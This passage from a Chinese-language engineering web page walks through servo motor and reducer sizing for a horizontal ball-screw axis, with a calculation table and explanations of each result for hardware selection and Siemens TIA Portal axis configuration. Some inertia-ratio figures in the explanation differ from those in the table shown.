style="width: 75px;">&nbsp;</td><td style="width: 118px;">&nbsp;</td><td style="width: 75px;">&nbsp;</td><td style="width: 75px;">&nbsp;</td><td style="width: 156px;">&nbsp;</td><td style="width: 75px;">&nbsp;</td><td style="width: 106px;">&nbsp;</td></tr><tr><td style="width: 7px;">&nbsp;</td><td style="width: 106px;">&nbsp;</td><td style="width: 110px;">负载端转速</td><td style="width: 75px;">Nl =</td><td style="width: 118px;">Vl/P<sub>B</sub></td><td style="width: 75px;">&nbsp;</td><td style="width: 75px;">&nbsp;</td><td style="width: 156px;">&nbsp;</td><td style="width: 75px;">&nbsp;</td><td style="width: 106px;">&nbsp;</td></tr><tr><td style="width: 7px;">&nbsp;</td><td style="width: 106px;">&nbsp;</td><td style="width: 110px;">&nbsp;</td><td style="width: 75px;">=</td><td style="width: 118px;">3000</td><td style="width: 75px;">rpm</td><td style="width: 75px;">&nbsp;</td><td style="width: 156px;">&nbsp;</td><td style="width: 75px;">&nbsp;</td><td style="width: 106px;">&nbsp;</td></tr><tr><td style="width: 7px;">&nbsp;</td><td style="width: 106px;">&nbsp;</td><td style="width: 110px;">电机转速</td><td style="width: 75px;">NM=</td><td style="width: 118px;">Nl*i</td><td style="width: 75px;">&nbsp;</td><td style="width: 75px;">&nbsp;</td><td style="width: 156px;">&nbsp;</td><td style="width: 75px;">&nbsp;</td><td style="width: 106px;">&nbsp;</td></tr><tr><td style="width: 7px;">&nbsp;</td><td style="width: 106px;">&nbsp;</td><td style="width: 110px;">&nbsp;</td><td style="width: 75px;">=</td><td style="width: 118px;">9000</td><td style="width: 75px;">&nbsp;</td><td style="width: 75px;">&nbsp;</td><td style="width: 156px;">&nbsp;</td><td style="width: 75px;">&nbsp;</td><td style="width: 106px;">&nbsp;</td></tr><tr><td style="width: 113px;" colspan="2">3)负荷转矩计算</td><td style="width: 110px;">&nbsp;</td><td style="width: 75px;"><table><tbody><tr><td width="72">&nbsp;</td></tr></tbody></table></td><td style="width: 118px;">&nbsp;</td><td style="width: 75px;">&nbsp;</td><td style="width: 75px;">&nbsp;</td><td style="width: 156px;">&nbsp;</td><td style="width: 75px;">&nbsp;</td><td style="width: 106px;">&nbsp;</td></tr><tr><td style="width: 7px;">&nbsp;</td><td style="width: 106px;">轴向负载</td><td style="width: 185px;" colspan="2">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; F =</td><td style="width: 118px;">FA+</td><td style="width: 75px;">&nbsp;</td><td style="width: 75px;">&nbsp;</td><td style="width: 156px;">&nbsp;</td><td style="width: 75px;">&nbsp;</td><td style="width: 106px;">&nbsp;</td></tr><tr><td style="width: 7px;">&nbsp;</td><td style="width: 106px;">&nbsp;</td><td style="width: 110px;">&nbsp;</td><td style="width: 75px;">=</td><td style="width: 118px;">2449.99991</td><td style="width: 75px;">N</td><td style="width: 75px;">&nbsp;</td><td style="width: 156px;">&nbsp;</td><td style="width: 75px;">&nbsp;</td><td style="width: 106px;">&nbsp;</td></tr><tr><td style="width: 7px;">&nbsp;</td><td style="width: 106px;">&nbsp;</td><td style="width: 110px;">&nbsp;</td><td style="width: 75px;">&nbsp;</td><td style="width: 118px;" rowspan="2" width="115"><table><tbody><tr><td width="6">&nbsp;</td></tr><tr><td>&nbsp;</td><td>&nbsp;</td><td width="63">&nbsp;</td></tr><tr><td>&nbsp;</td></tr></tbody></table></td><td style="width: 75px;">&nbsp;</td><td style="width: 75px;">&nbsp;</td><td style="width: 156px;">&nbsp;</td><td style="width: 75px;">&nbsp;</td><td style="width: 106px;">&nbsp;</td></tr><tr><td style="width: 7px;">&nbsp;</td><td style="width: 106px;">负载转矩</td><td style="width: 185px;" colspan="2">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; T<sub>L</sub> =</td><td style="width: 75px;">&nbsp;</td><td style="width: 75px;">&nbsp;</td><td style="width: 156px;">&nbsp;</td><td style="width: 75px;">&nbsp;</td><td style="width: 106px;">&nbsp;</td></tr><tr><td style="width: 7px;">&nbsp;</td><td style="width: 106px;">&nbsp;</td><td style="width: 110px;">&nbsp;</td><td style="width: 75px;">=</td><td style="width: 118px;">8.66508188</td><td style="width: 75px;">Nm</td><td style="width: 75px;">&nbsp;</td><td style="width: 156px;">&nbsp;</td><td style="width: 75px;">&nbsp;</td><td style="width: 106px;">&nbsp;</td></tr><tr><td style="width: 7px;">&nbsp;</td><td style="width: 106px;">&nbsp;</td><td style="width: 110px;">&nbsp;</td><td style="width: 75px;">&nbsp;</td><td style="width: 118px;">&nbsp;</td><td style="width: 75px;">&nbsp;</td><td style="width: 75px;">&nbsp;</td><td style="width: 156px;">&nbsp;</td><td style="width: 75px;">&nbsp;</td><td style="width: 106px;">&nbsp;</td></tr><tr><td style="width: 223px;" colspan="3">4)克服惯量的加速转矩计算（也称做：启动转矩）</td><td style="width: 75px;"><table><tbody><tr><td width="72">&nbsp;</td></tr></tbody></table></td><td style="width: 118px;">&nbsp;</td><td style="width: 75px;">&nbsp;</td><td style="width: 75px;">&nbsp;</td><td style="width: 156px;">&nbsp;</td><td style="width: 75px;">&nbsp;</td><td style="width: 106px;">&nbsp;</td></tr><tr><td style="width: 7px;">&nbsp;</td><td style="width: 216px;" colspan="2">直线运动平台与负载惯量</td><td style="width: 75px;">J<sub>L </sub>=</td><td style="width: 118px;">&nbsp;</td><td style="width: 75px;">&nbsp;</td><td style="width: 75px;">&nbsp;</td><td style="width: 156px;">&nbsp;</td><td style="width: 75px;">&nbsp;</td><td style="width: 106px;">&nbsp;</td></tr><tr><td style="width: 7px;">&nbsp;</td><td style="width: 106px;">&nbsp;</td><td style="width: 110px;">&nbsp;</td><td style="width: 75px;">=</td><td style="width: 118px;">0.00253302</td><td style="width: 75px;">kgm<sup>2</sup></td><td style="width: 75px;">&nbsp;</td><td style="width: 156px;">&nbsp;</td><td style="width: 75px;">&nbsp;</td><td style="width: 106px;">&nbsp;</td></tr><tr><td style="width: 7px;">&nbsp;</td><td style="width: 106px;">&nbsp;</td><td style="width: 110px;">&nbsp;</td><td style="width: 75px;"><table><tbody><tr><td width="72">&nbsp;</td></tr></tbody></table></td><td style="width: 118px;">&nbsp;</td><td style="width: 75px;">&nbsp;</td><td style="width: 75px;">&nbsp;</td><td style="width: 156px;">&nbsp;</td><td style="width: 75px;">&nbsp;</td><td style="width: 106px;">&nbsp;</td></tr><tr><td style="width: 7px;">&nbsp;</td><td style="width: 216px;" colspan="2">滚珠丝杠惯量</td><td style="width: 75px;">J<sub>B </sub>=</td><td style="width: 118px;">&nbsp;</td><td style="width: 75px;">&nbsp;</td><td style="width: 75px;">&nbsp;</td><td style="width: 156px;">&nbsp;</td><td style="width: 75px;">&nbsp;</td><td style="width: 106px;">&nbsp;</td></tr><tr><td style="width: 7px;">&nbsp;</td><td style="width: 106px;">&nbsp;</td><td style="width: 110px;">&nbsp;</td><td style="width: 75px;">=</td><td style="width: 118px;">0.00595647</td><td style="width: 75px;">kgm<sup>2</sup></td><td style="width: 75px;">&nbsp;</td><td style="width: 156px;">&nbsp;</td><td style="width: 75px;">&nbsp;</td><td style="width: 106px;">&nbsp;</td></tr><tr><td style="width: 7px;">&nbsp;</td><td style="width: 106px;">&nbsp;</td><td style="width: 110px;">&nbsp;</td><td style="width: 75px;"><table><tbody><tr><td width="72">&nbsp;</td></tr></tbody></table></td><td style="width: 118px;">&nbsp;</td><td style="width: 75px;">&nbsp;</td><td style="width: 75px;">&nbsp;</td><td style="width: 156px;">&nbsp;</td><td style="width: 75px;">&nbsp;</td><td style="width: 106px;">&nbsp;</td></tr><tr><td style="width: 7px;">&nbsp;</td><td style="width: 216px;" colspan="2">连轴器惯量</td><td style="width: 75px;">J<sub>C</sub>=</td><td style="width: 118px;">&nbsp;</td><td style="width: 75px;">&nbsp;</td><td style="width: 75px;">&nbsp;</td><td style="width: 156px;">&nbsp;</td><td style="width: 75px;">&nbsp;</td><td style="width: 106px;">&nbsp;</td></tr><tr><td style="width: 7px;">&nbsp;</td><td style="width: 106px;">&nbsp;</td><td style="width: 110px;">&nbsp;</td><td style="width: 75px;">=</td><td style="width: 118px;">0.00004</td><td style="width: 75px;">kgm<sup>2</sup></td><td style="width: 75px;">&nbsp;</td><td style="width: 156px;">&nbsp;</td><td style="width: 75px;">&nbsp;</td><td style="width: 106px;">&nbsp;</td></tr><tr><td style="width: 7px;">&nbsp;</td><td style="width: 106px;">&nbsp;</td><td style="width: 110px;">&nbsp;</td><td style="width: 75px;">&nbsp;</td><td style="width: 118px;">&nbsp;</td><td style="width: 75px;">&nbsp;</td><td style="width: 75px;">&nbsp;</td><td style="width: 156px;">&nbsp;</td><td style="width: 75px;">&nbsp;</td><td style="width: 106px;">&nbsp;</td></tr><tr><td style="width: 7px;">&nbsp;</td><td style="width: 216px;" colspan="2">减速机轴的总负荷惯量</td><td style="width: 75px;">J<sub>L</sub>=</td><td style="width: 118px;">J<sub>L</sub>+J<sub>B</sub>+J<sub>C</sub></td><td style="width: 75px;">&nbsp;</td><td style="width: 75px;">&nbsp;</td><td style="width: 156px;">&nbsp;</td><td style="width: 75px;">&nbsp;</td><td style="width: 106px;">&nbsp;</td></tr><tr><td style="width: 7px;">&nbsp;</td><td style="width: 106px;">&nbsp;</td><td style="width: 110px;">&nbsp;</td><td style="width: 75px;">=</td><td style="width: 118px;">0.00852949</td><td style="width: 75px;">kgm<sup>2</sup></td><td style="width: 75px;">&nbsp;</td><td style="width: 156px;">&nbsp;</td><td style="width: 75px;">&nbsp;</td><td style="width: 106px;">&nbsp;</td></tr><tr><td style="width: 7px;">&nbsp;</td><td style="width: 106px;">&nbsp;</td><td style="width: 110px;">&nbsp;</td><td style="width: 75px;">&nbsp;</td><td style="width: 118px;"><table><tbody><tr><td width="115">&nbsp;</td></tr></tbody></table></td><td style="width: 75px;">&nbsp;</td><td style="width: 75px;">&nbsp;</td><td style="width: 156px;">&nbsp;</td><td style="width: 75px;">&nbsp;</td><td style="width: 106px;">&nbsp;</td></tr><tr><td style="width: 7px;">&nbsp;</td><td style="width: 216px;" colspan="2">折算到电机轴的总负载惯量</td><td style="width: 75px;">J=</td><td style="width: 118px;">&nbsp;</td><td style="width: 75px;">&nbsp;</td><td style="width: 75px;">&nbsp;</td><td style="width: 156px;">&nbsp;</td><td style="width: 75px;">&nbsp;</td><td style="width: 106px;">&nbsp;</td></tr><tr><td style="width: 7px;">&nbsp;</td><td style="width: 106px;">&nbsp;</td><td style="width: 110px;">&nbsp;</td><td style="width: 75px;">=</td><td style="width: 118px;">0.00871149</td><td style="width: 75px;">&nbsp;</td><td style="width: 75px;">&nbsp;</td><td style="width: 156px;">&nbsp;</td><td style="width: 75px;">&nbsp;</td><td style="width: 106px;">&nbsp;</td></tr><tr><td style="width: 7px;">&nbsp;</td><td style="width: 106px;">&nbsp;</td><td style="width: 110px;">&nbsp;</td><td style="width: 75px;">&nbsp;</td><td style="width: 118px;">&nbsp;</td><td style="width: 75px;">&nbsp;</td><td style="width: 75px;">&nbsp;</td><td style="width: 156px;">&nbsp;</td><td style="width: 75px;">&nbsp;</td><td style="width: 106px;">&nbsp;</td></tr><tr><td style="width: 7px;">&nbsp;</td><td style="width: 106px;">&nbsp;</td><td style="width: 110px;">&nbsp;</td><td style="width: 75px;">&nbsp;</td><td style="width: 118px;">&nbsp;</td><td style="width: 75px;">&nbsp;</td><td style="width: 75px;">&nbsp;</td><td style="width: 156px;">&nbsp;</td><td style="width: 75px;">&nbsp;</td><td style="width: 106px;">&nbsp;</td></tr><tr><td style="width: 7px;">&nbsp;</td><td style="width: 216px;" colspan="2">启动转矩</td><td style="width: 75px;">T<sub>S</sub>=</td><td style="width: 118px;"><table><tbody><tr><td width="115">&nbsp;</td></tr></tbody></table></td><td style="width: 75px;">&nbsp;</td><td style="width: 75px;">&nbsp;</td><td style="width: 156px;">安全系数</td><td style="width: 75px;">S=</td><td style="width: 106px;">2</td></tr><tr><td style="width: 7px;">&nbsp;</td><td style="width: 106px;">&nbsp;</td><td style="width: 110px;">&nbsp;</td><td style="width: 75px;">=</td><td style="width: 118px;">5.47360424</td><td style="width: 75px;">Nm</td><td style="width: 75px;">&nbsp;</td><td style="width: 156px;">&nbsp;</td><td style="width: 75px;">&nbsp;</td><td style="width: 106px;">&nbsp;</td></tr><tr><td style="width: 113px;" colspan="2">5)必须转矩</td><td style="width: 110px;">&nbsp;</td><td style="width: 75px;">&nbsp;</td><td style="width: 118px;">&nbsp;</td><td style="width: 75px;">&nbsp;</td><td style="width: 75px;">&nbsp;</td><td style="width: 156px;">&nbsp;</td><td style="width: 75px;">&nbsp;</td><td style="width: 106px;">&nbsp;</td></tr><tr><td style="width: 7px;">&nbsp;</td><td style="width: 216px;" colspan="2">必须转矩</td><td style="width: 75px;">T<sub>M</sub>=</td><td style="width: 118px;">(T<sub>L</sub>+T<sub>S</sub>)*S</td><td style="width: 75px;">&nbsp;</td><td style="width: 75px;">&nbsp;</td><td style="width: 156px;">电机惯量</td><td style="width: 75px;">J<sub>M</sub>=</td><td style="width: 106px;">0.000182</td></tr><tr><td style="width: 7px;">&nbsp;</td><td style="width: 106px;">&nbsp;</td><td style="width: 110px;">&nbsp;</td><td style="width: 75px;">=</td><td style="width: 118px;">28.2773722</td><td style="width: 75px;">Nm</td><td style="width: 75px;">&nbsp;</td><td style="width: 156px;">&nbsp;</td><td style="width: 75px;">&nbsp;</td><td style="width: 106px;">&nbsp;</td></tr><tr><td style="width: 7px;">&nbsp;</td><td style="width: 106px;">&nbsp;</td><td style="width: 110px;">&nbsp;</td><td style="width: 75px;">&nbsp;</td><td style="width: 118px;">&nbsp;</td><td style="width: 75px;">&nbsp;</td><td style="width: 75px;">&nbsp;</td><td style="width: 156px;">&nbsp;</td><td style="width: 75px;">&nbsp;</td><td style="width: 106px;">&nbsp;</td></tr><tr><td style="width: 113px;" colspan="2">6)电机选择</td><td style="width: 110px;">&nbsp;</td><td style="width: 75px;">&nbsp;</td><td style="width: 118px;">&nbsp;</td><td style="width: 75px;">&nbsp;</td><td style="width: 75px;">&nbsp;</td><td style="width: 156px;">&nbsp;</td><td style="width: 75px;">&nbsp;</td><td style="width: 106px;">&nbsp;</td></tr><tr><td style="width: 7px;">&nbsp;</td><td style="width: 715px;" colspan="7">根据计算，初步确定电机型号，然后输入转子惯量，确认T<sub>M</sub></td><td style="width: 75px;">&nbsp;</td><td style="width: 106px;">&nbsp;</td></tr><tr><td style="width: 7px;">&nbsp;</td><td style="width: 106px;">&nbsp;</td><td style="width: 110px;">&nbsp;</td><td style="width: 75px;">&nbsp;</td><td style="width: 118px;">&nbsp;</td><td style="width: 75px;">&nbsp;</td><td style="width: 75px;">&nbsp;</td><td style="width: 156px;">&nbsp;</td><td style="width: 75px;">&nbsp;</td><td style="width: 106px;">&nbsp;</td></tr><tr><td style="width: 7px;">&nbsp;</td><td style="width: 106px;">&nbsp;</td><td style="width: 110px;">&nbsp;</td><td style="width: 75px;">&nbsp;</td><td style="width: 118px;">&nbsp;</td><td style="width: 75px;">&nbsp;</td><td style="width: 75px;">&nbsp;</td><td style="width: 156px;">&nbsp;</td><td style="width: 75px;">&nbsp;</td><td style="width: 106px;">&nbsp;</td></tr><tr><td style="width: 223px;" colspan="3">7)负荷与电机惯量比</td><td style="width: 75px;">&nbsp;</td><td style="width: 118px;">&nbsp;</td><td style="width: 75px;">&nbsp;</td><td style="width: 75px;">&nbsp;</td><td style="width: 156px;">&nbsp;</td><td style="width: 75px;">&nbsp;</td><td style="width: 106px;">&nbsp;</td></tr><tr><td style="width: 7px;">&nbsp;</td><td style="width: 106px;">惯量比</td><td style="width: 110px;">&nbsp;</td><td style="width: 75px;">I<sub>1</sub>=</td><td style="width: 118px;">46.8653371</td><td style="width: 75px;">&nbsp;</td><td style="width: 75px;">&nbsp;</td><td style="width: 156px;">&nbsp;</td><td style="width: 75px;">&nbsp;</td><td style="width: 106px;">&nbsp;</td></tr><tr><td style="width: 7px;">&nbsp;</td><td style="width: 106px;">&nbsp;</td><td style="width: 110px;">&nbsp;</td><td style="width: 75px;">&nbsp;</td><td style="width: 118px;">&nbsp;</td><td style="width: 75px;">&nbsp;</td><td style="width: 75px;">&nbsp;</td><td style="width: 156px;">&nbsp;</td><td style="width: 75px;">&nbsp;</td><td style="width: 106px;">&nbsp;</td></tr><tr><td style="width: 223px;" colspan="3">8)负荷与减速机惯量比</td><td style="width: 75px;">&nbsp;</td><td style="width: 118px;">&nbsp;</td><td style="width: 75px;">&nbsp;</td><td style="width: 75px;">&nbsp;</td><td style="width: 156px;">&nbsp;</td><td style="width: 75px;">&nbsp;</td><td style="width: 106px;">&nbsp;</td></tr><tr><td style="width: 566px;" colspan="7">当负荷与电机惯量比&gt;5时，考虑采用减速装置，提高惯量匹配</td><td style="width: 156px;">&nbsp;</td><td style="width: 75px;">&nbsp;</td><td style="width: 106px;">&nbsp;</td></tr><tr><td style="width: 7px;">&nbsp;</td><td style="width: 106px;">&nbsp;</td><td style="width: 110px;">&nbsp;</td><td style="width: 75px;">&nbsp;</td><td style="width: 118px;">&nbsp;</td><td style="width: 75px;">&nbsp;</td><td style="width: 75px;">&nbsp;</td><td style="width: 156px;">&nbsp;</td><td style="width: 75px;">&nbsp;</td><td style="width: 106px;">&nbsp;</td></tr><tr><td style="width: 7px;">&nbsp;</td><td style="width: 216px;" colspan="2">折算后的惯量比</td><td style="width: 75px;">I<sub>2</sub>=</td><td style="width: 118px;">46.8653371</td><td style="width: 75px;">&nbsp;</td><td style="width: 75px;">&nbsp;</td><td style="width: 156px;">&nbsp;</td><td style="width: 75px;">&nbsp;</td><td style="width: 106px;">&nbsp;</td></tr><tr><td style="width: 7px;">&nbsp;</td><td style="width: 106px;">&nbsp;</td><td style="width: 110px;">&nbsp;</td><td style="width: 75px;">&nbsp;</td><td style="width: 118px;">&nbsp;</td><td style="width: 75px;">&nbsp;</td><td style="width: 75px;">&nbsp;</td><td style="width: 156px;">&nbsp;</td><td style="width: 75px;">&nbsp;</td><td style="width: 106px;">&nbsp;</td></tr><tr><td style="width: 7px;">&nbsp;</td><td style="width: 106px;">&nbsp;</td><td style="width: 110px;">&nbsp;</td><td style="width: 75px;">&nbsp;</td><td style="width: 118px;">&nbsp;</td><td style="width: 75px;">&nbsp;</td><td style="width: 75px;">&nbsp;</td><td style="width: 156px;">&nbsp;</td><td style="width: 75px;">&nbsp;</td><td style="width: 106px;">&nbsp;</td></tr></tbody></table><p>&nbsp;</p><h3 data-path-to-node="2">1)速度曲线 (加速时间&nbsp; t1)</h3><ul data-path-to-node="3"><li><p data-path-to-node="3,0,0"><strong data-path-to-node="3,0,0" data-index-in-node="0">什么意思：</strong> 机器从完全静止，加速到设定的最高运行速度，所需要花费的时间。</p></li><li><p data-path-to-node="3,1,0"><strong data-path-to-node="3,1,0" data-index-in-node="0">用在哪里 (PLC 组态)：</strong> 直接用于西门子 TIA Portal 或其他 PLC 的轴工艺对象（Technology Object）配置中。在&ldquo;动态默认值&rdquo;或&ldquo;动态限制&rdquo;里填入这个时间，能确保 PLC 下发的运动曲线既能满足生产节拍，又不会让电机因加速过猛而报错。</p></li></ul><h3 data-path-to-node="4">2) 电机转速 (NM)</h3><ul data-path-to-node="5"><li><p data-path-to-node="5,0,0"><strong data-path-to-node="5,0,0" data-index-in-node="0">什么意思：</strong> 为了在规定时间内跑完设定的距离，电机输出轴必须达到的最高旋转速度。</p></li><li><p data-path-to-node="5,1,0"><strong data-path-to-node="5,1,0" data-index-in-node="0">用在哪里 (硬件选型)：</strong> 用于挑选伺服电机的<strong data-path-to-node="5,1,0" data-index-in-node="22">额定转速</strong>。例如，表格算出的NM=9000rpm，这时候就会发现没有9000rpm的电机，说明这套机械传动不合理，必须改减速比或丝杠导程，否则买不到合适的电机。把减速比改为1，NM=3000rpm这时才会有符合要求的电机</p></li><li><p data-path-to-node="5,2,1,0,0">方案A：把减速机拿掉，采用 <span class="math-inline" data-math="i=1" data-index-in-node="14">$i=1$</span> 直连，电机转速降为 3000 rpm（刚好压着电机极限）。方案B：把丝杠导程换大一点，比如换成 <span class="math-inline" data-math="PB=0.04m" data-index-in-node="19">$PB=0.04m</span>（转一圈走40mm），减速比降为2，这样电机只需 1500&times;2 = 3000 rpm，运行会更健康。</p></li><li><p data-path-to-node="5,1,0">你去查西门子 V90 手册时，就必须选择额定转速为 3000 rpm 的电机系列（高惯量系列通常只有 2000 rpm，此时就需要重新评估机械传动比）。</p></li></ul><h3 data-path-to-node="6">3) 负荷转矩计算 (TL / 轴向负载 F)</h3><ul data-path-to-node="7"><li><p data-path-to-node="7,0,0"><strong data-path-to-node="7,0,0" data-index-in-node="0">什么意思：</strong>&nbsp;</p><ul data-path-to-node="7,0,1"><li><strong data-path-to-node="7,0,1,0,0" data-index-in-node="0">轴向负载 F：</strong>顺着<strong>移动方向</strong>的直线推力或拉力<strong data-path-to-node="7,0,1,0,0" data-index-in-node="0">。</strong></li><li><p data-path-to-node="7,0,1,0,0"><strong data-path-to-node="7,0,1,0,0" data-index-in-node="0">负载转矩 TL：</strong> 机器在<strong data-path-to-node="7,0,1,0,0" data-index-in-node="12">匀速</strong>运转时，为了克服导轨摩擦力、重力等常态阻力，电机需要持续输出的旋转力气。</p></li></ul></li><li><p data-path-to-node="7,1,0"><strong data-path-to-node="7,1,0" data-index-in-node="0">用在哪里 (硬件选型)：</strong>&nbsp;</p><ul data-path-to-node="7,1,1"><li><strong data-path-to-node="7,1,1,0,0" data-index-in-node="0">买电机：</strong>选型手册上电机的<strong>额定扭矩</strong>必须大于这个&nbsp;<code data-path-to-node="7,1,0" data-index-in-node="39">TL</code>。</li><li><p data-path-to-node="7,1,1,0,0"><strong data-path-to-node="7,1,1,0,0" data-index-in-node="0">买抱闸：</strong> 如果算出的 <code data-path-to-node="7,1,1,0,0" data-index-in-node="11">F</code> 很大（尤其是垂直运动），选型时必须带抱闸（Brake）功能。</p></li></ul></li></ul><h3 data-path-to-node="8">4) 克服惯量的加速转矩计算 (TS / 启动转矩)</h3><ul data-path-to-node="9"><li><p data-path-to-node="9,0,0"><strong data-path-to-node="9,0,0" data-index-in-node="0">什么意思：</strong> 物理学规律是&ldquo;万事开头难&rdquo;。静止的工件、丝杠、皮带轮都有惯性，想在极短时间内把它们&ldquo;拽&rdquo;动并加速到最高速，需要一个瞬间爆发的巨大力量。这个步骤就是把所有机械部件的惯量折算到电机轴上，算出的爆发力就是 <code data-path-to-node="9,0,0" data-index-in-node="106">TS</code>。</p></li><li><p data-path-to-node="9,1,0"><strong data-path-to-node="9,1,0" data-index-in-node="0">用在哪里 (硬件验证)：</strong> 这是算出最终峰值扭矩的前置条件。</p></li></ul><h3 data-path-to-node="10">5) 必须转矩 (TM)</h3><ul data-path-to-node="11"><li><p data-path-to-node="11,0,0"><strong data-path-to-node="11,0,0" data-index-in-node="0">什么意思：</strong> <code data-path-to-node="11,0,0" data-index-in-node="6">TM = (匀速负载转矩 TL + 加速爆发转矩 TS) &times; 安全系数 S</code>。这是你的设备在最恶劣工况下（急加速瞬间）需要的<strong data-path-to-node="11,0,0" data-index-in-node="67">绝对最大扭矩</strong>。</p></li><li><p data-path-to-node="11,1,0"><strong data-path-to-node="11,1,0" data-index-in-node="0">用在哪里 (硬件选型)：</strong> 拿着这个 <code data-path-to-node="11,1,0" data-index-in-node="18">TM</code> 值去对照伺服电机手册里的<strong data-path-to-node="11,1,0" data-index-in-node="33">最大扭矩（峰值扭矩）</strong>。手册上的最大扭矩必须大于表格里的 <code data-path-to-node="11,1,0" data-index-in-node="61">TM</code>，否则电机在每次启动时都会报&ldquo;过载（Overload）&rdquo;故障。</p></li></ul><h3 data-path-to-node="12">6) 电机选择</h3><ul data-path-to-node="13"><li><p data-path-to-node="13,0,0"><strong data-path-to-node="13,0,0" data-index-in-node="0">什么意思：</strong> 这是一个<strong data-path-to-node="13,0,0" data-index-in-node="10">验证区</strong>。当你用前 5 步的数据去手册里挑中了一款候选电机后，把这款电机的内部参数（如转子自身惯量 JM）抄下来，填进这个区域。</p></li><li><p data-path-to-node="13,1,0"><strong data-path-to-node="13,1,0" data-index-in-node="0">用在哪里 (设计迭代)：</strong> 用于触发下面第 7 和第 8 步的最终判决。看看你挑的这款电机，到底能不能稳稳地带得动这套机械。</p></li></ul><h3 data-path-to-node="14">7) 负荷与电机惯量比 (I1 或 N1)</h3><ul data-path-to-node="15"><li><p data-path-to-node="15,0,0"><strong data-path-to-node="15,0,0" data-index-in-node="0">什么意思：</strong> <code data-path-to-node="15,0,0" data-index-in-node="6">机械总惯量 &divide; 电机自身转子惯量</code>。* <strong data-path-to-node="15,0,0" data-index-in-node="25">用在哪里 (评估控制稳定性)：</strong> 这是决定设备&ldquo;会不会发抖、停得准不准&rdquo;的生死线。</p><ul data-path-to-node="15,0,1"><li><p data-path-to-node="15,0,1,0,0">行业铁律：这个比值最好 <strong data-path-to-node="15,0,1,0,0" data-index-in-node="12">&lt; 5</strong>（高动态要求需 &lt; 3）。</p></li><li><p data-path-to-node="15,0,1,1,0">看看你上传的&ldquo;丝杠水平运动&rdquo;表格，这里的 <code data-path-to-node="15,0,1,1,0" data-index-in-node="21">I1</code> 居然高达 <strong data-path-to-node="15,0,1,1,0" data-index-in-node="29">211.7</strong>！这意味着机械惯量是电机的 200 多倍，如果直接用电机直连（不加减速机），这台设备跑起来绝对会剧烈震荡，PLC 会疯狂报警。</p></li></ul></li></ul><h3 data-path-to-node="16">8) 负荷与减速机惯量比 (I2)</h3><ul data-path-to-node="17"><li><p data-path-to-node="17,0,0"><strong data-path-to-node="17,0,0" data-index-in-node="0">什么意思：</strong> 针对第 7 步惯量比严重超标的补救措施。加上减速机后，折算到电机上的惯量会以减速比的平方（<span class="math-inline" data-math="i^2" data-index-in-node="51">$i^2$</span>）大幅缩小。</p></li><li><p data-path-to-node="17,1,0"><strong data-path-to-node="17,1,0" data-index-in-node="0">用在哪里 (机械结构整改)：</strong> 告诉你加了减速机之后，系统稳不稳。</p><ul data-path-to-node="17,1,1"><li><p data-path-to-node="17,1,1,0,0">在你上传的&ldquo;丝杠水平运动&rdquo;表中，哪怕加了 3.0 的减速比，折算后的惯量比 <code data-path-to-node="17,1,1,0,0" data-index-in-node="38">I2</code> 依然高达 <strong data-path-to-node="17,1,1,0,0" data-index-in-node="46">23.5</strong>。</p></li><li><p data-path-to-node="17,1,1,1,0"><strong data-path-to-node="17,1,1,1,0" data-index-in-node="0">工程结论：</strong> 这表明当前的机械设计依然极不合理，23.5 的惯量比对大部分伺服来说依然很难调试。你需要建议机械工程师继续加大减速比（比如换成 i=5 或 i=10），或者更换自身转子惯量（JM）更大的高惯量伺服电机。</p></li></ul></li></ul><p>&nbsp;</p><p data-path-to-node="12">总结一下：</p><ul data-path-to-node="13"><li><p data-path-to-node="13,0,0"><strong data-path-to-node="13,0,0" data-index-in-node="0">扭矩</strong>和<strong data-path-to-node="13,0,0" data-index-in-node="3">转速</strong>决定了你的设备**&ldquo;能不能动、动得快不快&rdquo;**。</p></li><li><p data-path-to-node="13,1,0"><strong data-path-to-node="13,1,0" data-index-in-node="0">惯量比</strong>决定了你的设备**&ldquo;定位准不准、停得稳不稳&rdquo;**。</p></li><li><p data-path-to-node="13,2,0"><strong data-path-to-node="13,2,0" data-index-in-node="0">轴向负载</strong>和运动方向决定了你的设备在断电时**&ldquo;会不会掉下来砸人&rdquo;**。</p></li></ul><p>&nbsp;</p><h3><strong>接下来是写程序</strong></h3><p data-path-to-node="8">买回来的电机装好后，接下来就是要在西门子博图（TIA Portal）或者其他 PLC 里进行<strong data-path-to-node="8" data-index-in-node="46">工艺对象（Technology Object，简称 TO）的轴组态</strong>。这时候你需要从表格的<strong data-path-to-node="8" data-index-in-node="90">机械结构参数区</strong>和<strong data-path-to-node="8" data-index-in-node="98">速度曲线区</strong>里抄数据：</p><ol start="1" data-path-to-node="9"><li><p data-path-to-node="9,0,0"><strong data-path-to-node="9,0,0" data-index-in-node="0">丝杠导程 (PB) / 皮带轮直径 (D) / 分度盘参数</strong></p><ul data-path-to-node="9,0,1"><li><p data-path-to-node="9,0,1,0,0"><strong data-path-to-node="9,0,1,0,0" data-index-in-node="0">对应 PLC 组态：</strong> TO轴配置里的 <strong data-path-to-node="9,0,1,0,0" data-index-in-node="19">&ldquo;机械 (Mechanics)&rdquo;</strong> -&gt; <strong data-path-to-node="9,0,1,0,0" data-index-in-node="39">负载位移 (Load displacement per motor revolution)</strong></p></li><li><p data-path-to-node="9,0,1,1,0"><strong data-path-to-node="9,0,1,1,0" data-index-in-node="0">作用：</strong> 告诉 PLC，电机转一圈，实际机械走了多少毫米或多少度。</p></li></ul></li><li><p data-path-to-node="9,1,0"><strong data-path-to-node="9,1,0" data-index-in-node="0">减速机减速比 (i)</strong></p><ul data-path-to-node="9,1,1"><li><p data-path-to-node="9,1,1,0,0"><strong data-path-to-node="9,1,1,0,0" data-index-in-node="0">对应 PLC 组态：</strong> TO轴配置里的 <strong data-path-to-node="9,1,1,0,0" data-index-in-node="19">&ldquo;机械 (Mechanics)&rdquo;</strong> -&gt; <strong data-path-to-node="9,1,1,0,0" data-index-in-node="39">电机与负载的传动比 (Motor/Load)</strong></p></li><li><p data-path-to-node="9,1,1,1,0"><strong data-path-to-node="9,1,1,1,0" data-index-in-node="0">作用：</strong> 告诉 PLC，电机转几圈，减速机输出轴才转一圈（例如填入 3 : 1）。</p></li></ul></li><li><p data-path-to-node="9,2,0"><strong data-path-to-node="9,2,0" data-index-in-node="0">设定的速度 (Vl 或 V)</strong></p><ul data-path-to-node="9,2,1"><li><p data-path-to-node="9,2,1,0,0"><strong data-path-to-node="9,2,1,0,0" data-index-in-node="0">对应 PLC 组态：</strong> TO轴配置里的 <strong data-path-to-node="9,2,1,0,0" 